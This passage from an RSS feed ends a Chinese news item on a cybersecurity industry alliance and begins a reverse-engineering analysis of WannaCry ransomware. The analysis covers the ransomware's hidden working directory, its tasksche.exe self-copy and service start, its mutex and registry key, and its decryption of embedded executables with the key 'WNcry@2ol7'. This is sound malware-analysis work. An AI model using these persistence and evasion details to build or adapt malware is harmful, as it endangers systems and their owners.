16px;white-space: normal;widows: 1;"><br style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"/></p><p style="padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;white-space: normal;widows: 1;line-height: 24px;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><img class="" data-backh="305" data-backw="457" data-ratio="0.6671936758893281" width="456.99268pt" data-type="jpeg" data-w="1265" height="304.6786pt" style="line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;width: 556.364px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=30170a1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3TryxCxTSR1iciaibl19MYwOlqcJ4mfjqUZU1MPwdFrdpbolaeXiasRfCibwanGEhBGBXTAKklsnKnJgqNeNT8lOfqQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;white-space: normal;widows: 1;line-height: 24px;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 12px;line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;">∧联盟发起单位筹备组合影</span></p><p><br/></p><section class="" style="max-width: 100%;font-size: 16px;white-space: normal;widows: 1;color: rgb(33, 33, 33);line-height: 32px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><section style="margin: 3px;padding: 15px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;color: rgb(62, 62, 62);line-height: 24px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);box-shadow: rgb(170, 170, 170) 0px 0px 3px;"><p style="margin-top: 5px;margin-bottom: 10px;max-width: 100%;min-height: 1em;text-align: justify;text-indent: 2em;line-height: 2em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;line-height: 25.6px;text-indent: 2em;box-sizing: border-box !important;word-wrap: break-word !important;">会上，联盟筹备组联合宣读和发布了联盟《倡议书》和《章程》。各筹备会员单位代表对联盟组建表示积极表态，表示将全力配合联盟筹备的各项工作，并就联盟定位、组建思路、联盟倡议书和章程等细节进行了深入交流讨论。</span></p><p style="margin-top: 5px;margin-bottom: 10px;max-width: 100%;min-height: 1em;text-align: justify;text-indent: 2em;line-height: 2em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;line-height: 25.6px;text-indent: 2em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;">据悉，中央企业网络安全产业联盟的成立将为顺利实施中央企业网络安全专项工程提供大力支撑。在联盟平台上，中国网安将引入“朋友圈”模式进行整体打造，打通中央企业网络安全需求侧与供给侧的交流合作通道，有效聚集用户资源。通过信息互通与资源共享为安全运维服务业务新思路、新手段、新模式的创新发展，为中央企业网络安全保障体系的能力建设与提升提供平台支持。</span></span></p></section></section><p><br/></p><p style="padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;white-space: normal;widows: 1;line-height: 24px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;white-space: normal;widows: 1;text-align: right;text-indent: 33px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-family: 微软雅黑;text-align: center;font-size: 12px;color: rgb(136, 136, 136);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;">联合供稿 | 综合管理部、经营发展部北京办事处、</span></p><p style="max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;white-space: normal;widows: 1;text-align: right;text-indent: 33px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-family: 微软雅黑;text-align: center;font-size: 12px;color: rgb(136, 136, 136);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;">卫士通公司、国信安公司   </span><span style="max-width: 100%;font-size: 12px;line-height: 19.2px;color: rgb(136, 136, 136);font-family: 微软雅黑;box-sizing: border-box !important;word-wrap: break-word !important;"> </span></p><p><br/></p><section style="max-width: 100%;box-sizing: border-box;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);word-wrap: break-word !important;"><section class="" powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;word-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;text-align: right;line-height: normal;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-family: 微软雅黑;text-align: center;font-size: 12px;color: rgb(136, 136, 136);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;">编审 | 廖婷婷    编辑 | 孙有权  </span></p><hr style="max-width: 100%;"/><p style="margin-top: 20px;max-width: 100%;min-height: 1em;line-height: 25.6px;font-family: 微软雅黑;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.2874203821656051" width="auto" data-type="gif" data-w="1256" style="box-sizing: border-box !important;word-wrap: break-word !important;visibility: visible !important;width: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f2ae9819&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3TryxCxTSR0svQUIQAdz2r7ntBhTK98FCay4iak5DGuibLonsEv1Ax3sQe0WMSvGJgruHYO8iaho1aogZzVZ9fFHw%2F0.gif%3F"/></p><p style="margin-top: 20px;max-width: 100%;min-height: 1em;line-height: 25.6px;font-family: 微软雅黑;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;color: rgb(155, 24, 71);font-family: 微软雅黑;font-size: 14px;text-align: justify;white-space: normal;background-color: rgb(245, 189, 209);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;">本文转载自“中国网安”微信公众号，可点击文末“阅读原文”转到原文</em></p></section></section>



<p><a href="https://mp.weixin.qq.com/s/_v1XYQx8l8KaV8TB4XYXTQ#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d79ff5e9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935285%26idx%3D2%26sn%3D0bb766d2cf3a6af9183c522c6eff9e6f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 30 Oct 2017 23:30:00 +0800</pubDate>
    </item>
    <item>
      <title>首发 | Wannacry勒索软件母体主程序逆向分析（含临时解决方案自动化工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935280&amp;idx=1&amp;sn=ec15f1ca2436814fdb6172469fa74337</link>
      <description>声明：本文由expsky@MS509Team原创，仅用于技术交流分享    挺长时间没做逆向分析了，以前做逆</description>
      <content:encoded><![CDATA[<p>
<span>expsky@MS509</span> <span>2017-05-14 10:01</span> <span style="display: inline-block;"></span>
</p>

<p>声明：本文由expsky@MS509Team原创，仅用于技术交流分享    挺长时间没做逆向分析了，以前做逆</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=42d6f177&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxrz7D4J7I4ibIPicuAky9eoicyibNJTs6O1qjqnajiaAESicwicoQqOEd6ria1g%2F0%3Fwx_fmt%3Dpng"/>
</p>


<p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; font-weight: 700; color: rgb(239, 71, 71);"></span></p><p style=" max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><img class="__bg_gif" data-ratio="0.11875" title="1444706553487851.gif" data-type="gif" data-w="640" style="line-height: 25.6px; text-align: center; box-sizing: border-box !important; word-wrap: break-word !important; width: auto !important; visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=60bb7fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F0%3Fwx_fmt%3Dgif"/><br/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; font-weight: 700; color: rgb(239, 71, 71);"></span></p><p style=" max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); ; ; ; ; ; ; ; ; ; ; ; ; ; ; "><em style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;">责任编辑：支书Woojune</em></p><p style=" max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); ; ; ; ; ; ; ; ; ; ; ; ; ; "><br/></p><section style=" max-width: 100%; box-sizing: border-box; color: rgb(62, 62, 62); ; ; ; ; ; ; ; ; ; ; ; ; ; "><section class="" style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="margin-top: 10px; margin-bottom: 10px; max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="padding: 10px; max-width: 100%; box-sizing: border-box; display: inline-block; width: 556px; border-width: 2px; border-style: dotted; border-color: rgb(192, 200, 209); border-radius: 15px; word-wrap: break-word !important;"><section class="" style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="max-width: 100%; box-sizing: border-box; color: rgb(51, 51, 51); word-wrap: break-word !important;"><p style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><em style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="font-family: 微软雅黑; font-size: 15px; white-space: pre-wrap; widows: 1; box-sizing: border-box; font-weight: 700; color: rgb(239, 71, 71);">声明：本文由expsky@MS509Team原创，仅用于技术交流分享</span></em></p><p style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><em style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="font-family: 微软雅黑; font-size: 15px; white-space: pre-wrap; widows: 1; box-sizing: border-box; font-weight: 700; color: rgb(239, 71, 71);"><br/></span></em></p><p style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><em style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="font-family: 微软雅黑; font-size: 15px; white-space: pre-wrap; widows: 1; box-sizing: border-box; font-weight: 700; color: rgb(239, 71, 71);"><span style="color: rgb(0, 176, 80); font-family: 微软雅黑; font-size: 15px; font-weight: bold; white-space: pre-wrap; widows: 1; background-color: rgb(255, 255, 255);">挺长时间没做逆向分析了，以前做逆向伤到了脑，也就成了所谓的脑残。但今天我手机里的微信公众号被Wannacry强势刷屏，于是又忍不住分析了下。</span></span></em></p><p style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><em style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="font-family: 微软雅黑; font-size: 15px; white-space: pre-wrap; widows: 1; box-sizing: border-box; font-weight: 700; color: rgb(239, 71, 71);"><span style="color: rgb(0, 176, 80); font-family: 微软雅黑; font-size: 15px; font-weight: bold; white-space: pre-wrap; widows: 1; background-color: rgb(255, 255, 255);"><br/></span></span></em></p><p style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><em style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="font-family: 微软雅黑; font-size: 15px; white-space: pre-wrap; widows: 1; box-sizing: border-box; font-weight: 700; color: rgb(239, 71, 71);"><span style="color: rgb(0, 176, 80); font-family: 微软雅黑; font-size: 15px; font-weight: bold; white-space: pre-wrap; widows: 1; background-color: rgb(255, 255, 255);"><span style="font-family: 微软雅黑; white-space: pre-wrap; widows: 1; box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51); font-size: 16px;">Wannacry勒索软件的背景大家都知道了，就是老美的重武器泄漏出来，结果被其他人捡了便宜所利用。类似这样的事情几年前我在以前的公司也做过，从国外弄来的高级样本，然后逆向后改良成自己的产品。毕竟这些高级货能原创出来的人太少了，逆向分析下改造改造这个擅长^_^</span><span style="color: rgb(88, 88, 88); font-family: 微软雅黑; font-size: 15px; white-space: pre-wrap; widows: 1; background-color: rgb(255, 255, 255);">    </span></span></span></em></p></section></section></section></section></section></section></section><p><br/></p><section style=" max-width: 100%; box-sizing: border-box; color: rgb(62, 62, 62); ; ; ; ; ; ; ; ; ; ; ; ; "><section class="" style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="margin-top: 10px; margin-bottom: 10px; max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="padding: 2px; max-width: 100%; box-sizing: border-box; display: inline-block; background-color: rgb(0, 0, 0); word-wrap: break-word !important;"><section class="" style="font-size: 16px; margin-right: 5px; padding-right: 8px; padding-left: 8px; max-width: 100%; box-sizing: border-box; display: inline-block; color: rgb(255, 255, 255); background-color: rgb(249, 110, 87); word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><span style="max-width: 100%; font-size: 20px; box-sizing: border-box !important; word-wrap: break-word !important;">0x00</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; max-width: 100%; box-sizing: border-box; display: inline-block; color: rgb(255, 255, 255); word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important; font-size: 20px;">逆向分析</section></section></section></section></section></section><p><br/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">好了，说正题，我从这里（<a href="http://bbs.pediy.com/thread-217586.htm）下载了" target="_blank">http://bbs.pediy.com/thread-217586.htm）下载了</a><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51); font-size: 16px;">Wannacry样本，一些枯燥的汇编分析细节就不多讲，我们尽量快速的了解到整体过程。</span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; text-align: center; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51); font-size: 16px;"><img data-w="365" data-type="jpeg" data-ratio="1.6273972602739726" src="https://wechat2rss.xlab.app/img-proxy/?k=faf25a17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxVBdy9OibsWzXYmIicL6ibQYoZaXHJP9Z8zSicU9ibGxG7Z3TNTgwXKdxUvg%2F0%3Fwx_fmt%3Djpeg"/></span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51); font-size: 16px;">首先会通过一个函数算出一个标识，我们将这个函数命名为getDisplayName，本质就是通过GetComputerNameW获取计算机名然后取随机数算出一个唯一对应的标识（我们命名为DisplayName），后面的执行过程会用到这个标识</span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(62, 62, 62); font-size: 16px;">接下来会做几件事情，任意一项未执行成功都会退出</span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; text-align: center; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(62, 62, 62); font-size: 16px;"><img data-w="328" data-type="jpeg" data-ratio="0.6219512195121951" src="https://wechat2rss.xlab.app/img-proxy/?k=312eb722&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxiaUiaIzhkDLB9oNMlm7EyJqSdta5qpaiaicZLDWIWNq6SQzznkB34e4tMg%2F0%3Fwx_fmt%3Djpeg"/></span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="color:#3e3e3e;box-sizing: border-box;">检查命令行参数是否为两个，并且是否有/i这个参数</span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="color:#3e3e3e;box-sizing: border-box;"></span></p><p><img data-s="300,640" data-type="jpeg" data-w="433" style="" data-ratio="0.3464203233256351" src="https://wechat2rss.xlab.app/img-proxy/?k=431b78ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGx91I1Teqk2NrHJ01BbKdpK3GoI3ySK22FcAvIoQEZzQqLvMibCpyH67g%2F0%3Fwx_fmt%3Djpeg"/></p><p><img data-s="300,640" data-type="jpeg" data-w="374" style="" data-ratio="0.48663101604278075" src="https://wechat2rss.xlab.app/img-proxy/?k=27a1e9a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGx0WHX4Emqfnnwv80WyQ5qDnJnljJDWmxJvMHkpYR30XyiawKwNjtNdwQ%2F0%3Fwx_fmt%3Djpeg"/></p><p><img data-s="300,640" data-type="jpeg" data-w="357" style="" data-ratio="0.5434173669467787" src="https://wechat2rss.xlab.app/img-proxy/?k=a8194aa9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxNzQwJvzicmKSyIWV2ItfC8zc6ljticT2kpKOOtwgZJibLvmAwsibFwMqqQ%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="color:#3e3e3e;box-sizing: border-box;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all;">检查并尝试在</span><span style="box-sizing: border-box; font-weight: 700; color: rgb(0, 112, 192);">ProgramData目录</span><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all;"> 或</span><span style="box-sizing: border-box; font-weight: 700; color: rgb(0, 112, 192);"> Intel目录</span><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all;"> 或</span><span style="box-sizing: border-box; font-weight: 700;"> </span><span style="color: rgb(88, 88, 88);">    </span><span style="box-sizing: border-box; font-weight: 700; color: rgb(0, 112, 192);">Temp系统临时目录</span><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all;">下创建前面算出的DisplayName为标识的目录</span><br style="box-sizing: border-box;"/></span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; text-align: center; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(62, 62, 62);"></span></p><p><img data-s="300,640" data-type="jpeg" data-w="381" data-ratio="0.5065616797900262" src="https://wechat2rss.xlab.app/img-proxy/?k=bb43b31b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxynCZ4d1ichWfkX6vz3pBbQnK9fw6Djwwibj1xsDv0iaxrLlNNwN7G4DJQ%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; text-align: center; background-color: rgb(255, 255, 255);"><span style="color: rgb(62, 62, 62);">将这个工作目录设置为6也就是0×2 和 0×4（FILE_ATTRIBUTE_HIDDEN 和 FILE_ATTRIBUTE_SYSTEM ）隐藏和系统</span><br/><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(62, 62, 62);"></span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; text-align: center; background-color: rgb(255, 255, 255);"><span style="color:#3e3e3e;box-sizing: border-box;"></span></p><p><img data-s="300,640" data-type="jpeg" data-w="440" data-ratio="0.39090909090909093" src="https://wechat2rss.xlab.app/img-proxy/?k=5eea7aac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxweWKmtAGLXykNJTH3JWImGXBf2zXk44NW8ALsoXPR9X6sHHVaQCcibA%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; text-align: center; background-color: rgb(255, 255, 255);"><span style="color: rgb(62, 62, 62);">创建自身的副本并命名为tasksche.exe</span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; text-align: center; background-color: rgb(255, 255, 255);"><span style="color:#3e3e3e;box-sizing: border-box;"></span></p><p><img data-s="300,640" data-type="jpeg" data-w="398" data-ratio="1.2336683417085428" src="https://wechat2rss.xlab.app/img-proxy/?k=b1a5dee8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxmR6ia0znz7aQzWLnfq4yL3V38VjDsTPe4Jm3n1l9WBJxqJfSGpBx3BA%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; text-align: center; background-color: rgb(255, 255, 255);"><span style="color:#3e3e3e;box-sizing: border-box;"></span></p><p><img data-s="300,640" data-type="jpeg" data-w="373" data-ratio="0.23056300268096513" src="https://wechat2rss.xlab.app/img-proxy/?k=f9b91946&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxCk6nq393faQLbEKfKXWibN4HVyHhg6hlhYEE7gSStLicYw0ZkF8RhDZw%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="color:#3e3e3e;box-sizing: border-box;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; font-size: 16px;">将tasksche.exe优先以服务方式启动，如果失败则以普通进程方式启动（副本启动的入口点和原始文件启动的入口点不同，从而实现不同的逻辑）</span></span><span style="text-align: center;">   </span></p><p><img data-s="300,640" data-type="jpeg" data-w="611" data-ratio="0.7217675941080196" src="https://wechat2rss.xlab.app/img-proxy/?k=a44b97d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxJnxQDWXA5mTkwWpkDZx4dwl67n4bZE1fNC1dedK5mId0RBNhft0X1Q%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">通过<span style="box-sizing: border-box; font-weight: 700; color: rgb(0, 112, 192);">互斥体Global\\MsWinZonesCacheCounterMutexA</span>来判断是否启动成功</p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">以上几项都成功完成后流程才会继续，否则终止。</p><p><img data-s="300,640" data-type="jpeg" data-w="404" data-ratio="1.0148514851485149" src="https://wechat2rss.xlab.app/img-proxy/?k=16b3e568&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxpENjicTYGCkicraicTkEx0HlpTheVvXlpnsJiaoZ9BJG6KVoibwWeE40mow%2F0%3Fwx_fmt%3Djpeg"/></p><p><img data-s="300,640" data-type="jpeg" data-w="348" data-ratio="1.0775862068965518" src="https://wechat2rss.xlab.app/img-proxy/?k=5c5d8ee0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxqyFb7vGr9CCy9msd0nULPL56OUQAkaHWXiaqJZ8ucibTjQ0RD8TbBPGA%2F0%3Fwx_fmt%3Djpeg"/><span style="background-color: rgb(255, 255, 255); color: rgb(88, 88, 88); font-family: 微软雅黑; font-size: 15px; text-align: center; white-space: pre-wrap; widows: 1;">    </span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">创建注册表项<span style="box-sizing: border-box; font-weight: 700; color: rgb(0, 112, 192);">HKEY_LOCAL_MACHINE\Software\WanaCrypt0r\wd</span><span style="box-sizing: border-box; font-weight: 700; color: rgb(0, 176, 80);"> </span>，写入当前路径值</p><p><img data-s="300,640" data-type="jpeg" data-w="349" data-ratio="1.4097421203438396" src="https://wechat2rss.xlab.app/img-proxy/?k=2d86affe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxnJqTMSp1z9dpuK4LrvoYIlcGpw0SgUTYZqwIEqKgVQ0twafCm172oA%2F0%3Fwx_fmt%3Djpeg"/><span style="background-color: rgb(255, 255, 255); color: rgb(88, 88, 88); font-family: 微软雅黑; font-size: 15px; text-align: center; white-space: pre-wrap; widows: 1;">   </span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">从资源中释放PE文件taskdl.exe、taskse.exe，为了免杀，资源中的PE文件是加了密的，释放过程中会解密，比较繁琐</p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">会给释放的资源传一个类似key之类的参数过去，参数值为<span style="box-sizing: border-box; font-weight: 700; color: rgb(0, 176, 80);">WNcry@2ol7</span></p><p><img data-s="300,640" data-type="jpeg" data-w="333" data-ratio="1.0510510510510511" src="https://wechat2rss.xlab.app/img-proxy/?k=f11a50c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxWksYBWsy3dibHVib6uHtNT0lE0PLA8TboCkiaS6NzRV9AbsSZvJYWqrcQ%2F0%3Fwx_fmt%3Djpeg"/><span style="background-color: rgb(255, 255, 255); color: rgb(88, 88, 88); font-family: 微软雅黑; font-size: 15px; text-align: center; white-space: pre-wrap; widows: 1;">    </span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 